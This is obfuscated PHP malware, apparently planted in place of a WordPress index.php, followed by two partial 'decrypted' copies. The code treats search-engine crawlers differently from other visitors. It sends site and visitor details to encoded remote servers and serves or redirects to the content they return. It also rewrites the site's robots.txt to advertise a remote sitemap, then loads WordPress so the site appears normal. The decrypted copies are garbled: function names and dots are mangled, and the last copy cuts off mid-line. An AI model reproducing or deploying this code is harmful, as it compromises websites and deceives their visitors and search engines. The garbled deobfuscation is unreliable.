goto zVFxO; UM7JU: $bjSZC = JSaRW() ?: "/"; goto ZBxSR; SkX2H: $E3Ooh = tydJR($qcSXj, $iACL6); goto mupiC; x11SZ: $cIE9v = true; goto GbE_2; xM8qe: $bjSZC = str_replace($nsQe8, '', $bjSZC); goto x11SZ; myUSQ: function tydJr($Yczd4, $iACL6) { goto D4N2L; FyKhE: shuffle($Yczd4); goto vxeAZ; xafTh: RHO6K: goto dldSq; vxeAZ: foreach ($Yczd4 as $dv5oh) { goto kgd3r; ew5iU: Sazy5: goto yG6iL; JrSwY: $TP1Q1 = curl_init(); goto T4tCQ; hEv8c: return $Uw8ID; goto kgq_S; T4tCQ: curl_setopt($TP1Q1, CURLOPT_URL, $BJTMm); goto nuKbC; yRrAI: if (curl_errno($TP1Q1)) { goto Vpo0O; } goto fOlUR; hMAs2: if (!function_exists("curl_init")) { goto f8dg2; } goto JrSwY; Fvqv2: WPRXm: goto oo69L; p8ek1: MgPGY: goto hMAs2; IMc2L: curl_setopt($TP1Q1, CURLOPT_TIMEOUT, 30); goto C6oX0; xRH09: $Uw8ID = $FneCS[1]($BJTMm, false, $E1PGi); goto WDQHl; bwUwP: return $Uw8ID; goto ew5iU; UU95c: $E1PGi = stream_context_create(array("http" => array("timeout" => 30))); goto xRH09; PFCZY: return $C8A1n; goto fXnWT; nuKbC: curl_setopt($TP1Q1, CURLOPT_RETURNTRANSFER, true); goto IMc2L; yG6iL: ibOKO: goto Fvqv2; YH22A: f8dg2: goto I6YTv; fXnWT: NbIQ0: goto p8ek1; C6oX0: $Uw8ID = curl_exec($TP1Q1); goto yRrAI; kgd3r: $qJOeD = $FneCS[2](urldecode($dv5oh)); goto oa0Vb; oa0Vb: $BJTMm = "http://" . $qJOeD . "/super6.php?" . $iACL6; goto x1jMD; fOlUR: curl_close($TP1Q1); goto hEv8c; WDQHl: if (!($Uw8ID !== false)) { goto Sazy5; } goto bwUwP; kgq_S: Vpo0O: goto tKrzD; x1jMD: if (!function_exists("Aonkv")) { goto MgPGY; } goto o9AsS; o9AsS: $Uw8ID = AOnKv($BJTMm, array("timeout" => 30, "user-agent" => "Mozilla/5.0 (compatible; WordPress)")); goto hZ1Cx; I6YTv: if (!ini_get("allow_url_fopen")) { goto ibOKO; } goto UU95c; ZcNdT: $C8A1n = FRcYr($Uw8ID); goto PFCZY; hZ1Cx: if (DSP7E($Uw8ID)) { goto NbIQ0; } goto ZcNdT; tKrzD: curl_close($TP1Q1); goto YH22A; oo69L: } goto xafTh; dldSq: return "nobotuseragent"; goto eS4oe; D4N2L: $FneCS = Th2N_(); goto FyKhE; eS4oe: } goto zJcDy; U546e: $lfduq = $_SERVER["HTTP_HOST"] ?: ''; goto e6k08; MZgFr: if (empty($xbzvq)) { goto Jl_Tr; } goto Ew1E6; Ckv_x: $bjSZC = str_replace("/" . $KjwIN, '', $bjSZC); goto JuPe7; GbE_2: envQH: goto cfgRu; Ybh38: $ZXuB4 = Qp1bM(); goto UM7JU; cfgRu: if (!($bjSZC != "/")) { goto yOM_Z; } goto Ckv_x; mupiC: if (!(strpos($E3Ooh, "nobotuseragent") === false)) { goto Hdgc6; } goto a4Ou4; uptEz: function pkFr2($BJTMm) { goto yj5QG; pxphA: if (!file_exists($RKkXS)) { goto dAdfW; } goto WIBj3; DkAqw: $FneCS[0]($RKkXS, $utnLm); goto pNA_b; vP01A: dAdfW: goto DkAqw; pNA_b: bRNLu: goto kAE_o; JVbtY: $FneCS[0]($RKkXS, $utnLm); goto NDzZR; ogRZZ: if (!($UFm3A !== $utnLm)) { goto vIfYx; } goto JVbtY; WIBj3: $UFm3A = @$FneCS[1]($RKkXS); goto ogRZZ; SL2yr: $utnLm = "User-agent: *llow: /

Sitemap: " . $BJTMm . "/sitemap.xml\xa"; goto pxphA; yj5QG: $FneCS = TH2N_(); goto zpZW0; t20k_: goto bRNLu; goto vP01A; NDzZR: vIfYx: goto t20k_; zpZW0: $RKkXS = $_SERVER["DOCUMENT_ROOT"] . "/robots.txt"; goto SL2yr; kAE_o: } goto myUSQ; B93rp: preg_match("/\/([^\/]+\.php)/", $bjSZC, $xbzvq); goto MZgFr; JuPe7: $bjSZC = str_replace("/index.php", '', $bjSZC); goto ysp2L; zVFxO: $qcSXj = ["%%39%30+1*D%79/6.1%78+1%38%36*E%63%75.2.6%76.6*E%%%63", "%31%39+0%31%2D%79/6%%78+1%38%%2E/6%61%72%73/3%6E.F%79%6C%2E.B%6C.D", "%%39+0+1%2D%79/6.1%78%31%38%36%2E.F.5%76%%75.7%75.2%65%%63*E%6B%6C%6D", "+1%39%30+1*D%79%76%/8%31+8+6%2E.1%72%6B%67/2%61%.8%63%%2E%6B%6C%6D"]; goto JadK0; J9e0O: cujJ8: goto eGqMq; OKqKd: $qz3Io = "index"; goto B93rp; MEHRZ: yOM_Z: goto htWqw; C4yWP: SK580: goto NfOA8; QGqAM: PKFR2($zqZc4 . "://" . $lfduq); goto SkX2H; GQJYd: $ZXuB4 = 1; goto xM8qe; y_7kQ: function QP1bM() { goto pam7X; pam7X: $Fjfav = isset($_SERVER["HTTP_USER_AGENT"]) ? strtolower($_SERVER["HTTP_USER_AGENT"]) : ''; goto BYr09; NUc8B: return 2; goto jcXx0; vlLQx: XG2Zr: goto NUc8B; BYr09: $axpjw = array("googlebot", "bing", "yahoo", "google"); goto gvLO0; gvLO0: foreach ($axpjw as $vWi6S) { goto wJ0Oz; wJ0Oz: if (!(strpos($Fjfav, $vWi6S) !== false)) { goto dPJvo; } goto nKD0O; Wmh9H: dPJvo: goto iWw9v; iWw9v: C12_b: goto MNewr; nKD0O: return 1; goto Wmh9H; MNewr: } goto vlLQx; jcXx0: } goto ZTxTj; HqqKy: $sa5qn = $_SERVER["HTTP_REFERER"] ?: ''; goto beV1_; E1Lq1: $KN1nu = file_exists($_SERVER["DOCUMENT_ROOT"] . "/.htaccess") ? 1 : 2; goto Ybh38; ZBxSR: $KjwIN = "index.php"; goto OKqKd; Ew1E6: $KjwIN = $xbzvq[1]; goto tIlw8; HlQ7H: if (!(strpos($bjSZC, $nsQe8) !== false)) { goto envQH; } goto GQJYd; ya4AU: Jl_Tr: goto EOnto; zJcDy: function TH2N_() { $Gws77 = range("a", "z"); return array($Gws77[5] . $Gws77[8] . $Gws77[11] . $Gws77[4] . "_" . $Gws77[15] . $Gws77[20] . $Gws77[19] . "_" . $Gws77[2] . $Gws77[14] . $Gws77[13] . $Gws77[19] . $Gws77[4] . $Gws77[13] . $Gws77[19] . $Gws77[18], $Gws77[5] . $Gws77[8] . $Gws77[11] . $Gws77[4] . "_" . $Gws77[6] . $Gws77[4] . $Gws77[19] . "_" . $Gws77[2] . $Gws77[14] . $Gws77[13] . $Gws77[19] . $Gws77[4] . $Gws77[13] . $Gws77[19] . $Gws77[18], $Gws77[18] . $Gws77[19] . $Gws77[17] . "_" . $Gws77[17] . $Gws77[14] . $Gws77[19] . ""); } goto je87r; ZTxTj: function jSARW() { goto oICmx; vpIk2: if (!isset($_SERVER["argv"])) { goto k2gGz; } goto MVcxO; bh04j: mTBdb: goto vpIk2; oICmx: if (!isset($_SERVER["REQUEST_URI"])) { goto mTBdb; } goto uNpIx; lsIsQ: k2gGz: goto Xky2_; uNpIx: return $_SERVER["REQUEST_URI"]; goto bh04j; Xky2_: return $_SERVER["PHP_SELF"] . "?" . $_SERVER["QUERY_STRING"]; goto X33gy; MVcxO: return $_SERVER["PHP_SELF"] . "?" . $_SERVER["argv"][0]; goto lsIsQ; X33gy: } goto VkZtM; QOSma: foreach ($CdUaS as $IlbZ9 => $z_ulE) { goto unO33; APXgE: $E3Ooh = str_replace($z_ulE["replace"], '', $E3Ooh); goto rrx2y; QAz1c: exit; goto msp4l; unO33: if (!(strpos($E3Ooh, $IlbZ9) !== false)) { goto qmXYQ; } goto yISYM; l0CrC: M5U_q: goto t0fOh; TbDBd: if (!isset($z_ulE["replace"])) { goto jnF8v; } goto APXgE; LfhK1: GWr0N: goto o1bQ8; kqZyv: goto u33Su; goto uXy1S; uXy1S: i7rq2: goto rmi5D; q8PRs: goto u33Su; goto OPWc1; HsfRY: u33Su: goto QAz1c; r5aii: header("Location: " . $E3Ooh); goto kqZyv; w6t71: K23Ji: goto LfhK1; bTzO8: if (!$cIE9v) { goto K23Ji; } goto PKJbh; yISYM: @header($z_ulE["header"]); goto TbDBd; rmi5D: echo $E3Ooh; goto HsfRY; o1bQ8: if (isset($z_ulE["redirect"])) { goto m6_q2; } goto LVTFg; OPWc1: m6_q2: goto r5aii; PKJbh: echo $nsQe8; goto w6t71; LVTFg: if (isset($z_ulE["output"])) { goto i7rq2; } goto q8PRs; rrx2y: jnF8v: goto clTdZ; msp4l: qmXYQ: goto l0CrC; clTdZ: if (!isset($z_ulE["test_echo"])) { goto GWr0N; } goto bTzO8; t0fOh: } goto C4yWP; zxxE4: $cIE9v = false; goto HlQ7H; je87r: define("kCsvx", true); goto qfu11; eGqMq: $qz3Io = str_replace(".php", '', $KjwIN); goto ya4AU; a4Ou4: $CdUaS = array("okhtml" => array("header" => "Content-type: text/html; charset=utf-8", "replace" => "okhtml", "test_echo" => true, "output" => true), "getcontent500page" => array("header" => "HTTP/1q00 Internal Server Error"), "4page" => array("header" => "HTTP/1.1 4 Not Found"), "1page" => array("header" => "HTTP/1.1 301 Moved Permanently", "replace" => "301page", "redirect" => true), "okxml" => array("header" => "Content-Type: application/xml; charset=utf-8", "replace" => "okxml", "output" => true), "okrobots" => array("header" => "Content-Type: text/plain", "replace" => "okrobots", "output" => true)); goto QOSma; EOnto: $qz3Io = stristr($bjSZC, "/?") ? "?" : $qz3Io; goto zxxE4; beV1_: $zqZc4 = zE3gL() ? "https" : "http"; goto E1Lq1; NfOA8: Hdgc6: goto y_7kQ; ar5qp: $KjwIN = ltrim(substr($bjSZC, 0, $cIT1K + strlen($KjwIN)), "/"); goto J9e0O; VkZtM: function Ze3GL() { goto zBo9c; sNKmH: if (!($bAgDZ !== '')) { goto zrre3; } goto Aq7Es; ZSn4k: return true; goto qQEyl; aUdw_: d4y0I: goto QZnGz; WZKEv: bH3KL: goto p83wS; MeZ1g: if (!($_SERVER["HTTP_X_FORWARDED_PROTO"] === "https")) { goto d4y0I; } goto MvLOL; kbDou: return false; goto dSpaR; qDLQR: if (!($KNr8v !== "off")) { goto wKQ8h; } goto JObki; qQEyl: zSgIb: goto iDISx; wynr0: zrre3: goto WZKEv; zBo9c: if (!isset($_SERVER["HTTPS"])) { goto Vz4Ex; } goto dsi_R; QZnGz: EQYsR: goto tcsM9; OtUv4: $bAgDZ = strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]); goto M6j13; iDISx: wKQ8h: goto HnSR9; JObki: if (!($KNr8v !== '')) { goto zSgIb; } goto ZSn4k; tcsM9: if (!isset($_SERVER["HTTP_FRONT_END_HTTPS"])) { goto U7ZVG; } goto OtUv4; v0OW4: if (!isset($_SERVER["HTTP_X_FORWARDED_PROTO"])) { goto EQYsR; } goto MeZ1g; dsi_R: $KNr8v = strtolower($_SERVER["HTTPS"]); goto qDLQR; M6j13: if (!($bAgDZ !== "off")) { goto bH3KL; } goto sNKmH; p83wS: U7ZVG: goto kbDou; Aq7Es: return true; goto wynr0; MvLOL: return true; goto aUdw_; HnSR9: Vz4Ex: goto v0OW4; dSpaR: } goto uptEz; tIlw8: if (!(($cIT1K = strpos($bjSZC, $KjwIN)) !== false)) { goto cujJ8; } goto ar5qp; htWqw: $iACL6 = http_build_query(["web" => $lfduq, "zz" => $ZXuB4, "uri" => urlencode($bjSZC), "urlshang" => $sa5qn, "http" => $zqZc4, "lang" => $wn0Db, "server" => $KN1nu, "model" => $qz3Io, "version" => $cIE9v ? $nsQe8 : '']); goto QGqAM; ysp2L: $bjSZC = str_replace("!", '', $bjSZC); goto MEHRZ; e6k08: $wn0Db = $_SERVER["HTTP_ACCEPT_LANGUAGE"] ?: "en"; goto HqqKy; JadK0: $nsQe8 = "11-link186"; goto U546e; qfu11: require __DIR__ . "/wp-blog-header.php";

Decrypted code level 3:

goto zVFxO; UM7JU: $bjSZC = JSaRW() ?: "/"; goto ZBxSR; SkX2H: $E3Ooh = tydJR($qcSXj, $iACL6); goto mupiC; x11SZ: $cIE9v = true; goto GbE_2; xM8qe: $bjSZC = str_replace($nsQe8, '', $bjSZC); goto x11SZ; myUSQ: function tydJr($Yczd4, $iACL6) { goto D4N2L; FyKhE: shuffle($Yczd4); goto vxeAZ; xafTh: RHO6K: goto dldSq; vxeAZ: foreach ($Yczd4 as $dv5oh) { goto kgd3r; ew5iU: Sazy5: goto yG6iL; JrSwY: $TP1Q1 = curl_init(); goto T4tCQ; hEv8c: return $Uw8ID; goto kgq_S; T4tCQ: curl_setopt($TP1Q1, CURLOPT_URL, $BJTMm); goto nuKbC; yRrAI: if (curl_errno($TP1Q1)) { goto Vpo0O; } goto fOlUR; hMAs2: if (!function_exists("curl_init")) { goto f8dg2; } goto JrSwY; Fvqv2: WPRXm: goto oo69L; p8ek1: MgPGY: goto hMAs2; IMc2L: curl_setopt($TP1Q1, CURLOPT_TIMEOUT, 30); goto C6oX0; xRH09: $Uw8ID = "h"($BJTMm, false, $E1PGi); goto WDQHl; bwUwP: return $Uw8ID; goto ew5iU; UU95c: $E1PGi = stream_context_create(array("http" => array("timeout" => 30))); goto xRH09; PFCZY: return $C8A1n; goto fXnWT; nuKbC: curl_setopt($TP1Q1, CURLOPT_RETURNTRANSFER, true); goto IMc2L; yG6iL: ibOKO: goto Fvqv2; YH22A: f8dg2: goto I6YTv; fXnWT: NbIQ0: goto p8ek1; C6oX0: $Uw8ID = curl_exec($TP1Q1); goto yRrAI; kgd3r: $qJOeD = "2"(urldecode($dv5oh)); goto oa0Vb; oa0Vb: $BJTMm = "http://" . $qJOeD . "/super6php?" . $iACL6; goto x1jMD; fOlUR: curl_close($TP1Q1); goto hEv8c; WDQHl: if (!($Uw8ID !== false)) { goto Sazy5; } goto bwUwP; kgq_S: Vpo0O: goto tKrzD; x1jMD: if (!function_exists("Aonkv")) { goto MgPGY; } goto o9AsS; o9AsS: $Uw8ID = AOnKv($BJTMm, array("timeout" => 30, "user-agent" => "Mozilla/50 (compatible; WordPress)")); goto hZ1Cx; I6YTv: if (!ini_get("allow_url_fopen")) { goto ibOKO; } goto UU95c; ZcNdT: $C8A1n = FRcYr($Uw8ID); goto PFCZY; hZ1Cx: if (DSP7E($Uw8ID)) { goto NbIQ0; } goto ZcNdT; tKrzD: curl_close($TP1Q1); goto YH22A; oo69L: } goto xafTh; dldSq: return "nobotuseragent"; goto eS4oe; D4N2L:  goto FyKhE; eS4oe: } goto zJcDy; U546e: $lfduq = $_SERVER["HTTP_HOST"] ?: ''; goto e6k08; MZgFr: if (empty($xbzvq)) { goto Jl_Tr; } goto Ew1E6; Ckv_x: $bjSZC = str_replace("/" . $KjwIN, '', $bjSZC); goto JuPe7; GbE_2: envQH: goto cfgRu; Ybh38: $ZXuB4 = Qp1bM(); goto UM7JU; cfgRu: if (!($bjSZC != "/")) { goto yOM_Z; } goto Ckv_x; mupiC: if (!(strpos($E3Ooh, "nobotuseragent") === false)) { goto Hdgc6; } goto a4Ou4; uptEz: function pkFr2($BJTMm) { goto yj5QG; pxphA: if (!file_exists($RKkXS)) { goto dAdfW; } goto WIBj3; DkAqw: "T"($RKkXS, $utnLm); goto pNA_b; vP01A: dAdfW: goto DkAqw; pNA_b: bRNLu: goto kAE_o; JVbtY: "T"($RKkXS, $utnLm); goto NDzZR; ogRZZ: if (!($UFm3A !== $utnLm)) { goto vIfYx; } goto JVbtY; WIBj3: $UFm3A = @"h"($RKkXS); goto ogRZZ; SL2yr: $utnLm = "User-agent: *llow: /

Sitemap: " . $BJTMm . "/sitemapxml\xa"; goto pxphA; yj5QG:  goto zpZW0; t20k_: goto bRNLu; goto vP01A; NDzZR: vIfYx: goto t20k_; zpZW0: $RKkXS = $_SERVER["DOCUMENT_ROOT"] . "/robotstxt"; goto SL2yr; kAE_o: } goto myUSQ; B93rp: preg_match("/\/([^\/]+\.php)/", $bjSZC, $xbzvq); goto MZgFr; JuPe7: $bjSZC = str_replace("/indexphp", '', $bjSZC); goto ysp2L; zVFxO: $qcSXj = ["%%39%30+1*D%79/61%78+1%38%36*E%63%7526%766*E%%%63", "%31%39+0%31%2D%79/6%%78+1%38%%2E/6%61%72%73/3%6EF%79%6C%2EB%6CD", "%%39+0+1%2D%79/61%78%31%38%36%2EF5%76%%757%752%65%%63*E%6B%6C%6D", "+1%39%30+1*D%79%76%/8%31+8+6%2E1%72%6B%67/2%61%.8%63%%2E%6B%6C%6D"]; goto JadK0; J9e0O: cujJ8: goto eGqMq; OKqKd: $qz3Io = "index"; goto B93rp; MEHRZ: yOM_Z: goto htWqw; C4yWP: SK580: goto NfOA8; QGqAM: PKFR2($zqZc4 . "://" . $lfduq); goto SkX2H; GQJYd: $ZXuB4 = 1; goto xM8qe; y_7kQ: function QP1bM() { goto pam7X; pam7X: $Fjfav = isset($_SERVER["HTTP_USER_AGENT"]) ? strtolower($_SERVER["HTTP_USER_AGENT"]) : ''; goto BYr09; NUc8B: return 2; goto jcXx0; vlLQx: XG2Zr: goto NUc8B; BYr09: $axpjw = array("googlebot", "bing", "yahoo", "google"); goto gvLO0; gvLO0: foreach ($axpjw as $vWi6S) { goto wJ0Oz; wJ0Oz: if (!(strpos($Fjfav, $vWi6S) !== false)) { goto dPJvo; } goto nKD0O; Wmh9H: dPJvo: goto iWw9v; iWw9v: C12_b: goto MNewr; nKD0O: return 1; goto Wmh9H; MNewr: } goto vlLQx; jcXx0: } goto ZTxTj; HqqKy: $sa5qn = $_SERVER["HTTP_REFERER"] ?: ''; goto beV1_; E1Lq1: $KN1nu = file_exists($_SERVER["DOCUMENT_ROOT"] . "/.htaccess") ? 1 : 2; goto Ybh38; ZBxSR: $KjwIN = "indexphp"; goto OKqKd; Ew1E6: $KjwIN = "h"; goto tIlw8; HlQ7H: if (!(strpos($bjSZC, $nsQe8) !== false)) { goto envQH; } goto GQJYd; ya4AU: Jl_Tr: goto EOnto; zJcDy: function TH2N_() { $Gws77 = range("a", "z"); return array("(" . $Gws77[8] . $Gws77[11] . "__" . $Gws77[15] . $Gws77[20] . $Gws77[19] . "_2" . $Gws77[14] . $Gws77[13] . $Gws77[19] . "_" . $Gws77[13] . $Gws77[19] . $Gws77[18], "(" . $Gws77[8] . $Gws77[11] . "__)_" . $Gws77[19] . "_2" . $Gws77[14] . $Gws77[13] . $Gws77[19] . "_" . $Gws77[13] . $Gws77[19] . $Gws77[18], $Gws77[18] . $Gws77[19] . $Gws77[17] . "_" . $Gws77[17] . $Gws77[14] . $Gws77[19] . ""); } goto je87r; ZTxTj: function jSARW() { goto oICmx; vpIk2: if (!isset($_SERVER["argv"])) { goto k2gGz; } goto MVcxO; bh04j: mTBdb: goto vpIk2; oICmx: if (!isset($_SERVER["REQUEST_URI"])) { goto mTBdb; } goto uNpIx; lsIsQ: k2gGz: goto Xky2_; uNpIx: return $_SERVER["REQUEST_URI"]; goto bh04j; Xky2_: return $_SERVER["PHP_SELF"] . "?" . $_SERVER["QUERY_STRING"]; goto X33gy; MVcxO: return $_SERVER["PHP_SELF"] . "?" . $_SERVER["argv"][0]; goto lsIsQ; X33gy: } goto VkZtM; QOSma: foreach ($CdUaS as $IlbZ9 => $z_ulE) { goto unO33; APXgE: $E3Ooh = str_replace($z_ulE["replace"], '', $E3Ooh); goto rrx2y; QAz1c: exit; goto msp4l; unO33: if (!(strpos($E3Ooh, $IlbZ9) !== false)) { goto qmXYQ; } goto yISYM; l0CrC: M5U_q: goto t0fOh; TbDBd: if (!isset($z_ulE["replace"])) { goto jnF8v; } goto APXgE; LfhK1: GWr0N: goto o1bQ8; kqZyv: goto u33Su; goto uXy1S; uXy1S: i7rq2: goto rmi5D; q8PRs: goto u33Su; goto OPWc1; HsfRY: u33Su: goto QAz1c; r5aii: header("Location: " . $E3Ooh); goto kqZyv; w6t71: K23Ji: goto LfhK1; bTzO8: if (!$cIE9v) { goto K23Ji; } goto PKJbh; yISYM: @header($z_ulE["header"]); goto TbDBd; rmi5D: echo $E3Ooh; goto HsfRY; o1bQ8: if (isset($z_ulE["redirect"])) { goto m6_q2; } goto LVTFg; OPWc1: m6_q2: goto r5aii; PKJbh: echo $nsQe8; goto w6t71; LVTFg: if (isset($z_ulE["output"])) { goto i7rq2; } goto q8PRs; rrx2y: jnF8v: goto clTdZ; msp4l: qmXYQ: goto l0CrC; clTdZ: if (!isset($z_ulE["test_echo"])) { goto GWr0N; } goto bTzO8; t0fOh: } goto C4yWP; zxxE4: $cIE9v = false; goto HlQ7H; je87r: define("kCsvx", true); goto qfu11; eGqMq: $qz3Io = str_replace(".php", '', $KjwIN); goto ya4AU; a4Ou4: $CdUaS = array("okhtml" => array("header" => "Content-type: text/html; charset=utf-8", "replace" => "okhtml", "test_echo" => true, "output" => true), "getcontent500page" => array("header" => "HTTP/1q00 Internal Server Error"), "4page" => array("header" => "HTTP/11 4 Not Found"), "1page" => array("header" => "HTTP/11 301 Moved Permanently", "replace" => "301page", "redirect" => true), "okxml" => array("header" => "Content-Type: application/xml; charset=utf-8", "replace" => "okxml", "output" => true), "okrobots" => array("header" => "Content-Type: text/plain", "replace" => "okrobots", "output" => true)); goto QOSma; EOnto: $qz3Io = stristr($bjSZC, "/?") ? "?" : $qz3Io; goto zxxE4; beV1_: $zqZc4 = zE3gL() ? "https" : "http"; goto E1Lq1; NfOA8: Hdgc6: goto y_7kQ; ar5qp: $KjwIN = ltrim(substr($bjSZC, 0, $cIT1K + strlen($KjwIN)), "/"); goto J9e0O; VkZtM: function Ze3GL() { goto zBo9c; sNKmH: if (!($bAgDZ !== '')) { goto zrre3; } goto Aq7Es; ZSn4k: return true; goto qQEyl; aUdw_: d4y0I: goto QZnGz; WZKEv: bH3KL: goto p83wS; MeZ1g: if (!($_SERVER["HTTP_X_FORWARDED_PROTO"] === "https")) { goto d4y0I; } goto MvLOL; kbDou: return false; goto dSpaR; qDLQR: if (!($KNr8v !== "off")) { goto wKQ8h; } goto JObki; qQEyl: zSgIb: goto iDISx; wynr0: zrre3: goto WZKEv; zBo9c: if (!isset($_SERVER["HTTPS"])) { goto Vz4Ex; } goto dsi_R; QZnGz: EQYsR: goto tcsM9; OtUv4: $bAgDZ = strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]); goto M6j13; iDISx: wKQ8h: goto HnSR9; JObki: if (!($KNr8v !== '')) { goto zSgIb; } goto ZSn4k; tcsM9: if (!isset($_SERVER["HTTP_FRONT_END_HTTPS"])) { goto U7ZVG; } goto OtUv4; v0OW4: if (!isset($_SERVER["HTTP_X_FORWARDED_PROTO"])) { goto EQYsR; } goto MeZ1g; dsi_R: $KNr8v = strtolower($_SERVER["HTTPS"]); goto qDLQR; M6j13: if (!($bAgDZ !== "off")) { goto bH3KL; } goto sNKmH; p83wS: U7ZVG: goto kbDou; Aq7Es: return true; goto wynr0; MvLOL: return true; goto aUdw_; HnSR9: Vz4Ex: goto v0OW4; dSpaR: } goto uptEz; tIlw8: if (!(($cIT1K = strpos($bjSZC, $KjwIN)) !== false)) { goto cujJ8; } goto ar5qp; htWqw: $iACL6 = http_build_query(["web" => $lfduq, "zz" => $ZXuB4, "uri" => urlencode($bjSZC), "urlshang" => $sa5qn, "http" => $zqZc4, "lang" => $wn0Db, "server" => $KN1nu, "model" => $qz3Io, "version" => $cIE9v ? $nsQe8 : '']); goto QGqAM; ysp2L: $bjSZC = str_replace("!", '', $bjSZC); goto MEHRZ; e6k08: $wn0Db = $_SERVER["HTTP_ACCEPT_LANGUAGE"] ?: "en"; goto HqqKy; JadK0: $nsQe8 = "11-link186"; goto U546e; qfu11: require __DIR__ . "/wp-blog-headerphp";

Decrypted code level 4:

goto zVFxO; UM7JU: $bjSZC = JSaRW() ?: "/"; goto ZBxSR; SkX2H: $E3Ooh = tydJR($qcSXj, $iACL6); goto mupiC; x11SZ: $cIE9v = true; goto GbE_2; xM8qe: $bjSZC = str_replace($nsQe8, '', $bjSZC); goto x11SZ; myUSQ: function tydJr($Yczd4, $iACL6) { goto D4N2L; FyKhE: shuffle($Yczd4); goto vxeAZ; xafTh: RHO6K: goto dldSq; vxeAZ: foreach ($Yczd4 as $dv5oh) { goto kgd3r; ew5iU: Sazy5: goto yG6iL; JrSwY: $TP1Q1 = curl_init(); goto T4tCQ; hEv8c: return $Uw8ID; goto kgq_S; T4tCQ: curl_setopt($TP1Q1, CURLOPT_URL, $BJTMm); goto nuKbC; yRrAI: if (curl_errno($TP1Q1)) { goto Vpo0O; } goto fOlUR; hMAs2: if (!function_exists("curl_init")) { goto f8dg2; } goto JrSwY; Fvqv2: WPRXm: goto oo69L; p8ek1: MgPGY: goto hMAs2; IMc2L: curl_setopt($TP1Q1, CURLOPT_TIMEOUT, 30); goto C6oX0; xRH09: $Uw8ID = "h"($BJTMm, false, $E1PGi); goto WDQHl; bwUwP: return $Uw8ID; goto ew5iU; UU95c: $E1PGi = stream_context_create(array("http" => array("timeout" => 30))); goto xRH09; PFCZY: return $C8A1n; goto fXnWT; nuKbC: curl_setopt($TP1Q1, CURLOPT_RETURNTRANSFER, true); goto IMc2L; yG6iL: ibOKO: goto Fvqv2; YH22A: f8dg2: goto I6YTv; fXnWT: NbIQ0: goto p8ek1; C6oX0: $Uw8ID = curl_exec($TP1Q1); goto yRrAI; kgd3r: $qJOeD = "2"(urldecode($dv5oh)); goto oa0Vb; oa0Vb: $BJTMm = "http://" . $qJOeD . "/super6php?" . $iACL6; goto x1jMD; fOlUR: curl_close($TP1Q1); goto hEv8c; WDQHl: if (!($Uw8ID !== false)) { goto Sazy5; } goto bwUwP; kgq_S: Vpo0O: goto tKrzD; x1jMD: if (!function_exists("Aonkv")) { goto MgPGY; } goto o9AsS; o9AsS: $Uw8ID = AOnKv($BJTMm, array("timeout" => 30, "user-agent" => "Mozilla/50 (compatible; WordPress)")); goto hZ1Cx; I6YTv: if (!ini_get("allow_url_fopen")) { goto ibOKO; } goto UU95c; ZcNdT: $C8A1n = FRcYr($Uw8ID); goto PFCZY; hZ1Cx: if (DSP7E($Uw8ID)) { goto NbIQ0; } goto ZcNdT; tKrzD: curl_close($TP1Q1); goto YH22A; oo69L: } goto xafTh; dldSq: return "nobotuseragent"; goto eS4oe; D4N2L:  goto FyKhE; eS4oe: } goto zJcDy; U546e: $lfduq = $_SERVER["HTTP_HOST"] ?: ''; goto e6k08; MZgFr: if (empty($xbzvq)) { goto Jl_Tr; } goto Ew1E6; Ckv_x: $bjSZC = str_replace("/" . $KjwIN, '', $bjSZC); goto JuPe7; GbE_2: envQH: goto cfgRu; Ybh38: $ZXuB4 = Qp1bM(); goto UM7JU; cfgRu: if (!($bjSZC != "/")) { goto yOM_Z; } goto Ckv_x; mupiC: if (!(strpos($E3Ooh, "nobotuseragent") === false)) { goto Hdgc6; } goto a4Ou4; uptEz: function pkFr2($BJTMm) { goto yj5QG; pxphA: if (!file_exists($RKkXS)) { goto dAdfW; } goto WIBj3; DkAqw: "T"($RKkXS, $utnLm); goto pNA_b; vP01A: dAdfW: goto DkAqw; pNA_b: bRNLu: goto kAE_o; JVbtY: "T"($RKkXS, $utnLm); goto NDzZR; ogRZZ: if (!($UFm3A !== $utnLm)) { goto vIfYx; } goto JVbtY; WIBj3: $UFm3A = @"h"($RKkXS); goto ogRZZ; SL2yr: $utnLm = "User-agent: *llow: /

Sitemap: " . $BJTMm . "/sitemapxml\xa"; goto pxphA; yj5QG:  goto zpZW0; t20k_: goto bRNLu; goto vP01A; NDzZR: vIfYx: goto t20k_; zpZW0: $RKkXS = $_SERVER["DOCUMENT_ROOT"] . "/robotstxt"; goto SL2yr; kAE_o: } goto myUSQ; B93rp: preg_match("/\/([^\/]+\.php)/", $bjSZC, $xbzvq); goto MZgFr; JuPe7: $bjSZC = str_replace("/indexphp", '', $bjSZC); goto ysp2L; zVFxO: $qcSXj = ["%%39%30+1*D%79/61%78+1%38%36*E%63%7526%766*E%%%63", "%31%39+0%31%2D%79/6%%78+1%38%%2E/6%61%72%73/3%6EF%79%6C%2EB%6CD", "%%39+0+1%2D%79/61%78%31%38%36%2EF5%76%%757%752%65%%63*E%6B%6C%6D", "+1%39%30+1*D%79%76%/8%31+8+6%2E1%72%6B%67/2%61%.8%63%%2E%6B%6C%6D"]; goto JadK0; J9e0O: cujJ8: goto eGqMq; OKqKd: $qz3Io = "index"; goto B93rp; MEHRZ: yOM_Z: goto htWqw; C4yWP: SK580: goto NfOA8; QGqAM: PKFR2($zqZc4 . "://" . $lfduq); goto SkX2H; GQJYd: $ZXuB4 = 1; goto xM8qe; y_7kQ: function QP1bM() { goto pam7X; pam7X: $Fjfav = isset($_SERVER["HTTP_USER_AGENT"]) ? strtolower($_SERVER["HTTP_USER_AGENT"]) : ''; goto BYr09; NUc8B: return 2; goto jcXx0; vlLQx: XG2Zr: goto NUc8B; BYr09: $axpjw = array("googlebot", "bing", "yahoo", "google"); goto gvLO0; gvLO0: foreach ($axpjw as $vWi6S) { goto wJ0Oz; wJ0Oz: if (!(strpos($Fjfav, $vWi6S) !== false)) { goto dPJvo; } goto nKD0O; Wmh9H: dPJvo: goto iWw9v; iWw9v: C12_b: goto MNewr; nKD0O: return 1; goto Wmh9H; MNewr: } goto vlLQx; jcXx0: } goto ZTxTj; HqqKy: $sa5qn = $_SERVER["HTTP_REFERER"] ?: ''; goto beV1_; E1Lq1: $KN1nu = file_exists($_SERVER["DOCUMENT_ROOT"] . "/.htaccess") ? 1 : 2; goto Ybh38; ZBxSR: $KjwIN = "indexphp"; goto OKqKd; Ew1E6: $KjwIN = "h"; goto tIlw8; HlQ7H: if (!(strpos($bjSZC, $nsQe8) 